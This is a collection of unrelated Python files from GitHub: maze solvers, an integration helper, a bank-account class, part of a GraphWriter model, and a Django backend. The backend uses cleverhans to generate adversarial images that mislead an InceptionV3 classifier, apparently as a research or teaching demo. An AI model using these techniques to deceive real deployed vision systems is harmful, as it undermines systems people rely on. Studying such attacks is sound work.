carDirection == 'W':\n carX += 1\n elif carDirection == 'S':\n carY -= 1\n elif carDirection == 'E':\n carX -= 1\ndef moveBackToLastPath():\n lastPath = popPath()\n while lastPath.goTo == 2:\n move\ndef turnLeft():\n global carDirection\n if carDirection == 'N':\n carDirection = 'W'\n elif carDirection == 'W':\n carDirection = 'S'\n elif carDirection == 'S':\n carDirection = 'E'\n elif carDirection == 'E':\n carDirection = 'N'\n\ndef turnRight():\n global carDirection\n if carDirection == 'N':\n carDirection = 'E'\n elif carDirection == 'W':\n carDirection = 'N'\n elif carDirection == 'S':\n carDirection = 'W'\n elif carDirection == 'E':\n carDirection = 'S'\n'''\nBOTTOM-LEFT-TOP-RIGHT\n'''\ndef getRealDirection(direction,expect):\n if expect == 'L':\n if direction == 'N':\n return 'W'\n elif direction == 'W':\n return 'S'\n elif direction == 'S':\n return 'E'\n elif direction == 'E':\n return 'N'\n elif expect == 'F':\n return direction\n elif expect == 'R':\n if direction == 'N':\n return 'E'\n elif direction == 'W':\n return 'N'\n elif direction == 'S':\n return 'W'\n elif direction == 'E':\n return 'S'\ndef checkLeft():\n global carX,carY,carDirection\n block = mapData[carY][carX]\n if carDirection == 'N' and block & 0b0100:\n return True\n elif carDirection == 'W' and block & 0b1000:\n return True\n elif carDirection == 'S' and block & 0b0001:\n return True\n elif carDirection == 'E' and block & 0b0010:\n return True\n return False\ndef checkFront():\n global carX,carY,carDirection\n block = mapData[carY][carX]\n if carDirection == 'N' and block & 0b0010:\n return True\n elif carDirection == 'W' and block & 0b0100:\n return True\n elif carDirection == 'S' and block & 0b1000:\n return True\n elif carDirection == 'E' and block & 0b0001:\n return True\n return False\ndef checkRight():\n global carX,carY,carDirection\n block = mapData[carY][carX]\n if carDirection == 'N' and block & 0b0001:\n return True\n elif carDirection == 'W' and block & 0b0010:\n return True\n elif carDirection == 'S' and block & 0b0100:\n return True\n elif carDirection == 'E' and block & 0b1000:\n return True\n return False\n \ndef runLeftHandMethod():\n isHasLeft = checkLeft()\n isHasFront = checkFront()\n isHasRight = checkRight()\n getRealDirection(carDirection,)\n carMap[carY][carX] = getRealDirection\n\n if not checkLeft():\n turnLeft()\n move()\n pushPath(0)\n elif not checkFront():\n move()\n pushPath(1)\n elif not checkRight():\n turnRight()\n move()\n pushPath(2)\n else:\n turnLeft()\n turnLeft()\n move()\n turnRight()\n turnRight()\n\nrealSimulateMap.showMap(0)\n# for i in range(100):\n# runLeftHandMethod()\n \n# realSimulateMap.showMapWithCar(0,carX,carY,carDirection)\n# carSimulateMap.readMap(carMap)\n# carSimulateMap.showMap(0)","repo_name":"anythingth2/MicroRobot","sub_path":"maze.py","file_name":"maze.py","file_ext":"py","file_size_in_byte":6999,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"19453986079","text":"class Solution():\n \"\"\"\n https://www.codewars.com/kata/5326ef17b7320ee2e00001df\n\n In this kata, you will have to implement a method solve(map, miner, exit)\n that has to return the path the miner must take to reach the exit as an array of moves,\n such as : ['up', 'down', 'right', 'left']. There are 4 possible moves, up, down, left and right, no diagonal.\n\n map is a 2-dimensional array of boolean values, representing squares.\n false for walls, true for open squares (where the miner can walk).\n It will never be larger than 5 x 5. It is laid out as an array of columns.\n All columns will always be the same size, though not necessarily the same size as rows\n (in other words, maps can be rectangular).\n The map will never contain any loop, so there will always be only one possible path.\n The map may contain dead-ends though.\n\n miner is the position of the miner at the start,\n as an object made of two zero-based integer properties, x and y.\n For example {x:0, y:0} would be the top-left corner.\n\n exit is the position of the exit, in the same format as miner.\n\n Note that the miner can't go outside the map, as it is a tunnel.\n\n Let's take a pretty basic example :\n\n map = [[True, False],\n [True, True]]\n\n solve(map, {'x':0,'y':0}, {'x':1,'y':1})\n // Should return ['right', 'down']\n \"\"\"\n def __init__(self):\n pass\n\n def solve_01(self, map, miner, exit):\n \"\"\"\n recursion, last step recorded, intuitive if-return combination\n \"\"\"\n cp = {\n 'left': 'right',\n 'right': 'left',\n 'up': 'down',\n 'down': 'up',\n }\n\n s_x, s_y = miner['x'], miner['y']\n e_x, e_y = exit['x'], exit['y']\n x_max, y_max = len(map) - 1, len(map[0]) - 1\n\n def recur(s_x, s_y, path):\n\n if s_x != e_x or s_y != e_y:\n if s_x > 0 and path[-1] != cp['left'] and map[s_x - 1][s_y]:\n _path_ = recur(s_x - 1, s_y, path + ['left', ])\n if _path_:\n return _path_\n if s_x < x_max and path[-1] != cp['right'] and map[s_x + 1][s_y]:\n _path_ = recur(s_x + 1, s_y, path + ['right', ])\n if _path_:\n return _path_\n if s_y > 0 and path[-1] != cp['up'] and map[s_x][s_y - 1]:\n _path_ = recur(s_x, s_y - 1, path + ['up', ])\n if _path_:\n return _path_\n if s_y < x_max and path[-1] != cp['down'] and map[s_x][s_y + 1]:\n _path_ = recur(s_x, s_y + 1, path + ['down', ])\n if _path_:\n return _path_\n else:\n return path[1:]\n\n return recur(s_x, s_y, [None, ])\n\n def solve_02(self, map, miner, exit):\n \"\"\"\n recursion, last step recorded, dict\n \"\"\"\n dirs = {\n 'left': {'s_xy': lambda x, y: (x - 1, y), 'dir': 'right'},\n 'right': {'s_xy': lambda x, y: (x + 1, y), 'dir': 'left'},\n 'up': {'s_xy': lambda x, y: (x, y - 1), 'dir': 'down'},\n 'down': {'s_xy': lambda x, y: (x, y + 1), 'dir': 'up'},\n }\n\n s_xy = miner['x'], miner['y']\n e_xy = exit['x'], exit['y']\n x_max, y_max = len(map) - 1, len(map[0]) - 1\n\n def recur(s_xy, dir_last=None):\n\n if s_xy == e_xy:\n return []\n s_x, s_y = s_xy\n if not (0 <= s_x <= x_max and 0 <= s_y <= y_max and map[s_x][s_y]):\n return\n\n for dir_cp, move in list(dirs.items()):\n if dir_last != dir_cp:\n path = recur(move['s_xy'](s_x, s_y), move['dir'])\n if path is not None:\n return [dir_cp, ] + path\n\n return recur(s_xy)\n\n def solve_03(self, map, miner, exit):\n \"\"\"\n recursion, all steps recorded, dict\n \"\"\"\n dxy2dir = {\n (-1, 0): 'up',\n (1, 0): 'down',\n (0, -1): 'left',\n (0, 1): 'right',\n }\n\n s_xy = miner['x'], miner['y']\n e_xy = exit['x'], exit['y']\n x_max, y_max = len(map) - 1, len(map[0]) - 1\n\n s_xy_past = []\n\n def recur(s_xy):\n\n if s_xy in s_xy_past:\n return\n s_xy_past.append(s_xy)\n\n if s_xy == e_xy:\n return []\n s_x, s_y = s_xy\n if not (0 <= s_x <= x_max and 0 <= s_y <= y_max and map[s_x][s_y]):\n return\n\n for (dy, dx) in dxy2dir:\n path = recur((s_x + dx, s_y + dy))\n if path is not None:\n return [dxy2dir[(dy, dx)], ] + path\n\n return recur(s_xy)\n\n\ndef sets_gen(solve):\n test_sets = [\n [[[[1]], {'x': 0, 'y': 0}, {'x': 0, 'y': 0}], ],\n [[[[1, 0],\n [1, 1]], {'x': 0, 'y': 0}, {'x': 1, 'y': 0}], ],\n [[[[1, 0],\n [1, 1]], {'x': 0, 'y': 0}, {'x': 1, 'y': 1}], ],\n [[[[1],\n [1],\n [1],\n [1]], {'x': 0, 'y': 0}, {'x': 3, 'y': 0}], ],\n [[[[1],\n [1],\n [1],\n [1]], {'x': 3, 'y': 0}, {'x': 0, 'y': 0}], ],\n [[[[1, 1, 1],\n [0, 0, 1],\n [1, 1, 1]], {'x': 0, 'y': 0}, {'x': 2, 'y': 0}], ],\n [[[[1, 1, 0, 0, 0],\n [0, 1, 1, 0, 0],\n [0, 0, 1, 1, 0],\n [0, 0, 0, 1, 1],\n [0, 0, 0, 0, 1]], {'x': 0, 'y': 0}, {'x': 4, 'y': 4}], ],\n [[[[1, 1, 1, 0, 1],\n [0, 0, 1, 0, 1],\n [1, 1, 1, 1, 1],\n [1, 0, 1, 0, 0],\n [0, 1, 1, 1, 1]], {'x': 0, 'y': 0}, {'x': 4, 'y': 4}], ],\n ]\n for test_set in test_sets:\n test_set.append(solve(*test_set[0]))\n return test_sets\n\n\nif __name__ == '__main__':\n sol = Solution()\n from test_fixture import Test_Fixture\n\n tf = Test_Fixture(sol, sets_gen)\n tf.prep()\n tf.test(prt_docstr=False)\n tf.test_spd(10000, prt_docstr=True)\n","repo_name":"8fdafs2/Codewars-Solu-Python","sub_path":"src/kyu3_Escape_the_Mines.py","file_name":"kyu3_Escape_the_Mines.py","file_ext":"py","file_size_in_byte":6072,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"11"} +{"seq_id":"16467900383","text":"# implement a function that perform integration using Riemann integral\n\ndef integrate(f, a, b, n):\n \"\"\"\n integrate the function f from a to b using n rectangles\n \"\"\"\n h = (b - a) / n\n I = 0.0\n for i in range(n):\n I += f(a + i * h)\n return h * I","repo_name":"nightlan1015297/Physics-Experiment","sub_path":"1102_week1_experiment/Riemann_integral.py","file_name":"Riemann_integral.py","file_ext":"py","file_size_in_byte":272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"72727559066","text":"from django.http import JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\nimport numpy as np\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\n\nfrom cleverhans.utils_tf import tf_model_load\nfrom cleverhans.attacks import FastGradientMethod, BasicIterativeMethod, MadryEtAl, MomentumIterativeMethod, \\\n StochasticMomentumIterativeMethod\nfrom io import BytesIO\nimport base64\nfrom tensorflow.contrib.slim.nets import inception\nimport tensorflow.contrib.slim as slim\nimport os\nimport json\nimport PIL\nfrom backend_imagenet.inception.inception_resnet2 import inception_resnet_v2, inception_resnet_v2_arg_scope\nimport time\n\ng_imagenet = tf.Graph()\ntf.logging.set_verbosity(tf.logging.ERROR)\nconfig = tf.ConfigProto()\nconfig.gpu_options.per_process_gpu_memory_fraction = 0.05\nsess = tf.InteractiveSession(graph=g_imagenet, config=config)\n# sess = tf.InteractiveSession()\nsess.run(tf.global_variables_initializer())\nsess.run(tf.local_variables_initializer())\n\n\nclass InceptionModel(object):\n \"\"\"Model class for CleverHans library.\"\"\"\n\n def __init__(self, num_classes):\n self.num_classes = num_classes\n self.built = False\n\n def __call__(self, x_input):\n \"\"\"Constructs cifar and return probabilities for given input.\"\"\"\n reuse = True if self.built else None\n with slim.arg_scope(inception.inception_v3_arg_scope()):\n _, end_points = inception.inception_v3(\n x_input, num_classes=self.num_classes, is_training=False,\n reuse=reuse)\n self.built = True\n output = end_points['Predictions']\n # Strip off the extra reshape op at the output\n probs = output.op.inputs[0]\n return probs\n\n\nclass Resnetv2Model(object):\n \"\"\"Model class for CleverHans library.\"\"\"\n\n def __init__(self, num_classes):\n self.num_classes = num_classes\n self.built = False\n\n def __call__(self, x_input):\n \"\"\"Constructs cifar and return probabilities for given input.\"\"\"\n reuse = True if self.built else None\n with slim.arg_scope(inception_resnet_v2_arg_scope()):\n _, end_points = inception_resnet_v2(\n x_input, num_classes=self.num_classes, is_training=False,\n reuse=reuse)\n self.built = True\n output = end_points['Predictions']\n # Strip off the extra reshape op at the output\n probs = output.op.inputs[0]\n return probs\n\n\nimg_size = 299\nimg_chan = 3\nnum_classes = 1001\n\nx = tf.placeholder(tf.float32, (None, img_size, img_size, img_chan), name='x')\ny = tf.placeholder(tf.float32, (None, num_classes), name='y')\ny_t = tf.placeholder(tf.float32, (None, num_classes), name='y_t')\nx_adv = tf.placeholder(tf.float32, (None, img_size, img_size, img_chan), name='x')\nepsilon = tf.placeholder(tf.float32, ())\niter_epsilon = tf.placeholder(tf.float32, ())\ndata_dir = 'model/imagenet'\n\nmodel = InceptionModel(num_classes)\npreds = model(x)\n# model_resnet = Resnetv2Model(num_classes)\n# preds_res = model_resnet(x)\n# cifar = Resnetv2Model(num_classes)\n# preds = cifar(x)\n\nwith open(os.path.join(data_dir, 'imagenet_zh_cn.json'), encoding='utf-8') as f:\n imagenet_labels = json.load(f)\n\n\ndef name_to_num(name):\n if name == '不选择' or name == '':\n return -1\n for i in range(len(imagenet_labels)):\n if name == imagenet_labels[i]:\n return i + 1\n return -1\n\n\nfgsm_params = {'eps': epsilon,\n 'clip_min': 0.,\n 'clip_max': 1.,\n }\n\npgd_params = {'eps': epsilon,\n 'eps_iter': iter_epsilon,\n 'nb_iter': 10,\n 'clip_min': 0.,\n 'clip_max': 1.}\n\nbim_params = {'eps': epsilon,\n 'eps_iter': iter_epsilon,\n 'nb_iter': 10,\n 'clip_min': 0.,\n 'clip_max': 1.}\n\nmim_params = {'eps': epsilon,\n 'eps_iter': iter_epsilon,\n 'nb_iter': 10,\n 'clip_min': 0.,\n 'clip_max': 1.}\n\nsmim_params = {'eps': epsilon,\n 'eps_iter': iter_epsilon,\n 'nb_iter': 10,\n 'clip_min': 0.,\n 'clip_max': 1.}\n\n\nfgsm = FastGradientMethod(model)\nadv_fgsm = fgsm.generate(x, **fgsm_params)\nadv_fgsm_target = fgsm.generate(x, **fgsm_params, y_target=y_t)\n\npgd = MadryEtAl(model)\nadv_pgd = pgd.generate(x, **pgd_params)\nadv_pgd_target = pgd.generate(x, **pgd_params, y_target=y_t)\n\nbim = BasicIterativeMethod(model)\nadv_bim = bim.generate(x, **bim_params)\nadv_bim_target = bim.generate(x, **bim_params, y_target=y_t)\n\nmim = MomentumIterativeMethod(model)\nadv_mim = mim.generate(x, **mim_params)\nadv_mim_target = mim.generate(x, **mim_params, y_target=y_t)\n\nsmim = StochasticMomentumIterativeMethod(model)\nadv_smim = smim.generate(x, **smim_params)\nadv_smim_target = smim.generate(x, **smim_params, y_target=y_t)\n\nrestore_vars = [\n var for var in tf.global_variables()\n if var.name.startswith('InceptionV3/')\n]\nwith sess.as_default():\n with g_imagenet.as_default():\n saver = tf.train.Saver(restore_vars)\n sess.run(tf.global_variables_initializer())\n saver.restore(sess, os.path.join(data_dir, 'inception_v3.ckpt'))\n# saver = tf.train.Saver(restore_vars)\n# sess.run(tf.global_variables_initializer())\n# saver.restore(sess, os.path.join(data_dir, 'inception_v3.ckpt'))\nprint(\"inceptionv3 over\")\n\n\n# saver2 = tf.train.Saver(restore_vars)\n# sess_defense.run(tf.global_variables_initializer())\n# saver2.restore(sess_defense, os.path.join(data_dir, 'adv_inception_v3.ckpt'))\n#\n# print(\"adv_inceptionv3 over\")\n\n\n# restore_vars1 = [\n# var for var in tf.global_variables()\n# if var.name.startswith('InceptionResnetV2/')\n# ]\n\n\n# print(\"resnet2 start\")\n# start = time.time()\n# sess.run(tf.global_variables_initializer())\n# saver = tf.train.Saver(restore_vars1)\n# saver.restore(sess, os.path.join(data_dir, 'inception_resnet_v2.ckpt'))\n# print(\"resnet2 over\")\n# end = time.time()\n# print(\"time\" + str(end - start))\n\n\ndef img_change_imagenet(img):\n fig = plt.figure(figsize=(1, 1))\n gs = gridspec.GridSpec(1, 1)\n ax = fig.add_subplot(gs[0, 0])\n ax.imshow(img[0], interpolation='none')\n # 去除坐标轴\n ax.set_xticks([])\n ax.set_yticks([])\n # 去除边框\n ax.spines['top'].set_visible(False)\n ax.spines['right'].set_visible(False)\n ax.spines['bottom'].set_visible(False)\n ax.spines['left'].set_visible(False)\n # 设置大小\n fig.set_size_inches(1.5, 1.5)\n gs.tight_layout(fig)\n sio = BytesIO()\n fig.savefig(sio, format='png', bbox_inches='tight', pad_inches=0.0)\n data = base64.encodebytes(sio.getvalue()).decode()\n return data\n\n\ndef predict(sess, x_data):\n yval = sess.run(preds, feed_dict={x: x_data})\n arg = np.argsort(yval, axis=1).tolist()[0][::-1]\n val = np.sort(yval, axis=1).tolist()[0][::-1]\n return [arg, val]\n\n\ndef make_attack(sess, x_data, attack_name=None, target=-1, eps=0.3):\n adv = None\n if target is not -1:\n y_target = np.zeros((1, 1001))\n y_target[np.arange(1), target] = 1\n feed_dict_target = {x: x_data, y_t: y_target, epsilon: eps, iter_epsilon: eps / 10}\n if attack_name == 'fgsm':\n adv = sess.run(adv_fgsm_target, feed_dict=feed_dict_target)\n elif attack_name == 'pgd':\n adv = sess.run(adv_pgd_target, feed_dict=feed_dict_target)\n elif attack_name == 'bim':\n adv = sess.run(adv_bim_target, feed_dict=feed_dict_target)\n elif attack_name == 'mim':\n adv = sess.run(adv_mim_target, feed_dict=feed_dict_target)\n elif attack_name == 'smim':\n adv = sess.run(adv_smim_target, feed_dict=feed_dict_target)\n else:\n feed_dict = {x: x_data, epsilon: eps, iter_epsilon: eps / 10}\n if attack_name == 'fgsm':\n adv = sess.run(adv_fgsm, feed_dict=feed_dict)\n elif attack_name == 'pgd':\n adv = sess.run(adv_pgd, feed_dict=feed_dict)\n elif attack_name == 'bim':\n adv = sess.run(adv_bim, feed_dict=feed_dict)\n elif attack_name == 'mim':\n adv = sess.run(adv_mim, feed_dict=feed_dict)\n elif attack_name == 'smim':\n adv = sess.run(adv_smim, feed_dict=feed_dict)\n return adv\n\n\ndef num_to_name(input_list):\n output_result = []\n for item in input_list:\n output_result = output_result + [imagenet_labels[item - 1]]\n return output_result\n\n\nglobal imgs\n\n\n@csrf_exempt\ndef upload_imagenet(request):\n global imgs\n is_jpeg = True\n image = request.FILES.get(\"file\")\n print(os.path.splitext(image.name)[1])\n if os.path.splitext(image.name)[1] == '.png':\n is_jpeg = False\n print(is_jpeg)\n img = PIL.Image.open(image)\n if not is_jpeg:\n png = img.convert('RGB')\n img = png\n wide = img.width > img.height\n new_w = img_size if wide else int(img.width * img_size / img.height)\n new_h = img_size if not wide else int(img.height * img_size / img.width)\n img = img.resize((new_w, new_h)).crop((0, 0, img_size, img_size))\n imgs = (np.asarray(img) / 255.0).astype(np.float32)\n response = {}\n return JsonResponse(response)\n\n\n@csrf_exempt\ndef drawinput_imagenet(request):\n response = {}\n global imgs\n if imgs is None:\n return JsonResponse(response)\n imgs = imgs.reshape(1, 299, 299, 3)\n fgsm_disturb = float(request.POST.get('fgsm_disturb'))\n pgd_disturb = float(request.POST.get('pgd_disturb'))\n bim_disturb = float(request.POST.get('bim_disturb'))\n mim_disturb = float(request.POST.get('mim_disturb'))\n smim_disturb = float(request.POST.get('smim_disturb'))\n fgsm_target = str(request.POST.get('fgsm_target'))\n pgd_target = str(request.POST.get('pgd_target'))\n bim_target = str(request.POST.get('bim_target'))\n mim_target = str(request.POST.get('mim_target'))\n smim_target = str(request.POST.get('smim_target'))\n print(fgsm_target)\n # target = int(request.POST.get('target'))\n # input_fgsm = float(request.POST.get('input_fgsm'))\n # input_pgd = float(request.POST.get('input_pgd'))\n # input_bim = float(request.POST.get('input_bim'))\n # input_mim = float(request.POST.get('input_mim'))\n\n x_adv_fgsm = make_attack(sess, imgs, attack_name='fgsm', target=name_to_num(fgsm_target),\n eps=fgsm_disturb)\n x_adv_pgd = make_attack(sess, imgs, attack_name='pgd', target=name_to_num(pgd_target),\n eps=pgd_disturb)\n x_adv_bim = make_attack(sess, imgs, attack_name='bim', target=name_to_num(bim_target),\n eps=bim_disturb)\n x_adv_mim = make_attack(sess, imgs, attack_name='mim', target=name_to_num(mim_target),\n eps=mim_disturb)\n x_adv_smim = make_attack(sess, imgs, attack_name='smim', target=name_to_num(smim_target),\n eps=smim_disturb)\n\n noise_fgsm = x_adv_fgsm - imgs\n noise_pgd = x_adv_pgd - imgs\n noise_bim = x_adv_bim - imgs\n noise_mim = x_adv_mim - imgs\n noise_smim = x_adv_smim - imgs\n\n output_clean_1 = predict(sess, imgs)\n output_fgsm_1 = predict(sess, x_adv_fgsm)\n output_pgd_1 = predict(sess, x_adv_pgd)\n output_bim_1 = predict(sess, x_adv_bim)\n output_mim_1 = predict(sess, x_adv_mim)\n output_smim_1 = predict(sess, x_adv_smim)\n\n # output_clean_2 = predict(sess_defense, imgs)\n # output_fgsm_2 = predict(sess_defense, x_adv_fgsm)\n # output_pgd_2 = predict(sess_defense, x_adv_pgd)\n # output_bim_2 = predict(sess_defense, x_adv_bim)\n # output_mim_2 = predict(sess_defense, x_adv_mim)\n\n data_clean = img_change_imagenet(imgs)\n data_fgsm = img_change_imagenet(x_adv_fgsm)\n data_pgd = img_change_imagenet(x_adv_pgd)\n data_bim = img_change_imagenet(x_adv_bim)\n data_mim = img_change_imagenet(x_adv_mim)\n data_smim = img_change_imagenet(x_adv_smim)\n\n src_clean = 'data:image/png;base64,' + str(data_clean)\n src_fgsm = 'data:image/png;base64,' + str(data_fgsm)\n src_pgd = 'data:image/png;base64,' + str(data_pgd)\n src_bim = 'data:image/png;base64,' + str(data_bim)\n src_mim = 'data:image/png;base64,' + str(data_mim)\n src_smim = 'data:image/png;base64,' + str(data_smim)\n\n # data_clean_noise = img_change_imagenet(imgs)\n # data_fgsm_noise = img_change_imagenet(noise_fgsm * 255)\n # data_pgd_noise = img_change_imagenet(noise_pgd * 255)\n # data_bim_noise = img_change_imagenet(noise_bim * 255)\n # data_mim_noise = img_change_imagenet(noise_mim * 255)\n # data_smim_noise = img_change_imagenet(noise_smim * 255)\n\n # src_clean_noise = 'data:image/png;base64,' + str(data_clean_noise)\n # src_fgsm_noise = 'data:image/png;base64,' + str(data_fgsm_noise)\n # src_pgd_noise = 'data:image/png;base64,' + str(data_pgd_noise)\n # src_bim_noise = 'data:image/png;base64,' + str(data_bim_noise)\n # src_mim_noise = 'data:image/png;base64,' + str(data_mim_noise)\n # src_smim_noise = 'data:image/png;base64,' + str(data_smim_noise)\n\n echarts_attack = []\n # echarts_defense = []\n echarts_clean_dict = {'name': num_to_name(output_clean_1[0][0:5]), 'value': output_clean_1[1][0:5]}\n echarts_attack.append(echarts_clean_dict)\n echarts_fgsm_dict = {'name': num_to_name(output_fgsm_1[0][0:5]), 'value': output_fgsm_1[1][0:5]}\n echarts_attack.append(echarts_fgsm_dict)\n echarts_pgd_dict = {'name': num_to_name(output_pgd_1[0][0:5]), 'value': output_pgd_1[1][0:5]}\n echarts_attack.append(echarts_pgd_dict)\n echarts_bim_dict = {'name': num_to_name(output_bim_1[0][0:5]), 'value': output_bim_1[1][0:5]}\n echarts_attack.append(echarts_bim_dict)\n echarts_mim_dict = {'name': num_to_name(output_mim_1[0][0:5]), 'value': output_mim_1[1][0:5]}\n echarts_attack.append(echarts_mim_dict)\n echarts_smim_dict = {'name': num_to_name(output_smim_1[0][0:5]), 'value': output_smim_1[1][0:5]}\n echarts_attack.append(echarts_smim_dict)\n\n # echarts_clean_dict = {'name': num_to_name(output_clean_2[0][0:5]), 'value': output_clean_2[1][0:5]}\n # echarts_defense.append(echarts_clean_dict)\n # echarts_fgsm_dict = {'name': num_to_name(output_clean_2[0][0:5]), 'value': output_fgsm_2[1][0:5]}\n # echarts_defense.append(echarts_fgsm_dict)\n # echarts_pgd_dict = {'name': num_to_name(output_clean_2[0][0:5]), 'value': output_pgd_2[1][0:5]}\n # echarts_defense.append(echarts_pgd_dict)\n # echarts_bim_dict = {'name': num_to_name(output_clean_2[0][0:5]), 'value': output_bim_2[1][0:5]}\n # echarts_defense.append(echarts_bim_dict)\n\n response['echarts'] = echarts_attack\n # response['echarts_defense'] = echarts_defense\n response['name'] = ['clean', 'fgsm', 'pgd', 'bim', 'mim', 'smim']\n # response['name'] = ['clean', 'fgsm', 'pgd', 'bim', 'mim']\n # response['img'] = [src_clean, src_fgsm, src_pgd, src_bim, src_mim]\n response['img'] = [src_clean, src_fgsm, src_pgd, src_bim, src_mim, src_smim]\n # response['imgnoise'] = [src_clean_noise, src_fgsm_noise, src_pgd_noise, src_bim_noise, src_mim_noise, src_smim_noise]\n response['attack_result'] = [\n str(imagenet_labels[output_clean_1[0][0] - 1]) + \"
(\" + '%.2f' % (output_clean_1[1][0] * 100) + \"%)\",\n str(imagenet_labels[output_fgsm_1[0][0] - 1]) + \"
(\" + '%.2f' % (output_fgsm_1[1][0] * 100) + \"%)\",\n str(imagenet_labels[output_pgd_1[0][0] - 1]) + \"
(\" + '%.2f' % (output_pgd_1[1][0] * 100) + \"%)\",\n str(imagenet_labels[output_bim_1[0][0] - 1]) + \"
(\" + '%.2f' % (output_bim_1[1][0] * 100) + \"%)\",\n str(imagenet_labels[output_mim_1[0][0] - 1]) + \"
(\" + '%.2f' % (output_mim_1[1][0] * 100) + \"%)\",\n str(imagenet_labels[output_smim_1[0][0] - 1]) + \"
(\" + '%.2f' % (output_smim_1[1][0] * 100) + \"%)\"]\n\n # response['defense_result'] = [\n # str(imagenet_labels[output_clean_2[0][0] - 1]) + \"
(\" + '%.2f' % (output_clean_2[1][0] * 100) + \"%)\",\n # str(imagenet_labels[output_fgsm_2[0][0] - 1]) + \"
(\" + '%.2f' % (output_fgsm_2[1][0] * 100) + \"%)\",\n # str(imagenet_labels[output_pgd_2[0][0] - 1]) + \"
(\" + '%.2f' % (output_pgd_2[1][0] * 100) + \"%)\",\n # str(imagenet_labels[output_bim_2[0][0] - 1]) + \"
(\" + '%.2f' % (output_bim_2[1][0] * 100) + \"%)\", ]\n # str(imagenet_labels[output_mim_2[0][0] - 1]) + \"(\" + '%.4f' % output_mim_2[1][0] + \")\"]\n\n return JsonResponse(response)\n\n\n@csrf_exempt\ndef check(request):\n response = {'check': True}\n return JsonResponse(response)\n","repo_name":"duoergun0729/adversarial_example_web","sub_path":"backend_imagenet/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":16451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"34483976229","text":"class CuentaBancaria:\n\n def __init__(self, balance = 0, tasa = 1):\n self.balance = balance\n self.tasa = tasa / 100\n\n def deposito(self, monto):\n self.balance += monto\n return self\n\n def retiro(self, monto):\n if(CuentaBancaria.puede_retirar(self.balance, monto)):\n self.balance -= monto\n return self\n else:\n print('Fondos Insuficientes: cobrando una tarifa de $5')\n self.balance -= 5\n return self\n\n def mostrar_info_cuenta(self):\n print(f'Balance: {self.balance}, Interes: {self.tasa}')\n return self\n def generar_interes(self):\n if(self.balance > 0 ):\n self.balance += (self.balance * self.tasa)\n return self\n else:\n return self\n @staticmethod\n def puede_retirar(balance,monto):\n if(balance - monto < 0 ):\n return False\n else:\n return True\n\n\n\ncuenta_1 = CuentaBancaria(500, 5)\ncuenta_2 = CuentaBancaria(200,10)\n\ncuenta_1.deposito(100).deposito(300).deposito(250).retiro(1000).generar_interes().mostrar_info_cuenta()\ncuenta_2.deposito(200).deposito(300).retiro(250).retiro(50).retiro(100).retiro(250).generar_interes().mostrar_info_cuenta()\n\n","repo_name":"Bl3x4r/python","sub_path":"fundamentals/oop/cuenta_bancaria.py","file_name":"cuenta_bancaria.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"8740533838","text":"import torch\nfrom torch import nn\nfrom GraphWriter.models.attention import MultiHeadAttention, MatrixAttn, MultiHeadAttention2\nfrom GraphWriter.models.list_encoder import list_encode, lseq_encode\nfrom GraphWriter.models.last_graph import graph_encode\nfrom GraphWriter.models.beam import Beam\nfrom GraphWriter.models.splan import splanner\n\n\nclass model(nn.Module):\n def __init__(self,args, config, data, vertex_embeddings, logger=None):\n super().__init__()\n self.args = args\n self.args.ntoks = config.ntoks\n cattimes = 3 if args.title else 2\n\n self.emb = nn.Embedding(config.ntoks,args.hsz)\n self.lstm = nn.LSTMCell(args.hsz*cattimes,args.hsz)\n self.vertex_embeddings = vertex_embeddings\n self.train_disjoint = True\n self.out = nn.Linear(\n args.hsz*cattimes,\n #args.tgttoks # TODO target tokens\n config.ntoks\n )\n self.ntoks = config.ntoks\n\n torch.nn.init.xavier_uniform_(self.out.weight)\n\n self.rel_embs = vertex_embeddings.rel_embs\n\n #self.le = list_encode(args)\n #self.entout = nn.Linear(args.hsz,1)\n self.switch = nn.Linear(args.hsz*cattimes,1)\n self.attn = MultiHeadAttention2(args.hsz,args.hsz,args.hsz,h=4,dropout_p=args.drop)\n self.mattn = MatrixAttn(args.hsz*cattimes,args.hsz)\n self.graph = (args.model in ['graph','gat','gtrans'])\n\n if self.graph:\n self.ge = graph_encode(args)\n if args.plan:\n self.splan = splanner(args)\n\n # TODO\n args.title = False\n\n if args.title:\n self.tenc = lseq_encode(args,toks=args.ninput)\n self.attn2 = MultiHeadAttention(args.hsz,args.hsz,args.hsz,h=4,dropout_p=args.drop)\n self.mix = nn.Linear(args.hsz,1)\n\n def set_train_disjoint(self, value):\n self.train_disjoint = value\n\n def forward(self,b):\n if self.args.title:\n # batch of sentences. passed as tensor of plain wordss\n\n tencs,_ = self.tenc(b.src)\n\n # b.src[1] sentences length, mask is used to discard padding\n tmask = self.maskFromList(tencs.size(),b.src[1]).unsqueeze(1)\n\n if self.train_disjoint:\n ent_embs = self.vertex_embeddings(b, False)[4]\n entlens = []\n offset = 0\n for count, nlen in enumerate(b.doc_len):\n entlens.append(sum(b.ner_len[offset:offset + nlen]))\n offset += nlen\n\n ents = self.vertex_embeddings.pad_entities(ent_embs, entlens)\n entlens = torch.tensor(entlens)\n rel_lengths = [len(item) for item in b.relsraw]\n rel_indices = [item for sublist in b.relsraw for item in sublist]\n b.rels = self.rel_embs.weight[rel_indices].split(rel_lengths)\n else:\n ents = b.top_spans\n entlens = b.doc_num_entities\n\n outp,_ = b.out\n\n if self.graph:\n # rel[0] is adj, rel[1] is rel array\n gents,glob,grels = self.ge(b.adj,b.rels,(ents,entlens))\n hx = glob\n keys,mask = grels\n # Flip the mask\n mask = mask==0\n else:\n mask = self.maskFromList(ents.size(),entlens)\n hx = ents.mean(dim=1)\n keys = ents\n mask = mask.unsqueeze(1)\n if self.args.plan:\n planlogits = self.splan(hx,keys,mask.clone(),entlens,b.sordertgt)\n schange = (outp==self.args.dottok).t()\n mask.fill_(0)\n planplace = torch.zeros(hx.size(0)).long()\n for i,m in enumerate(b.sorder):\n 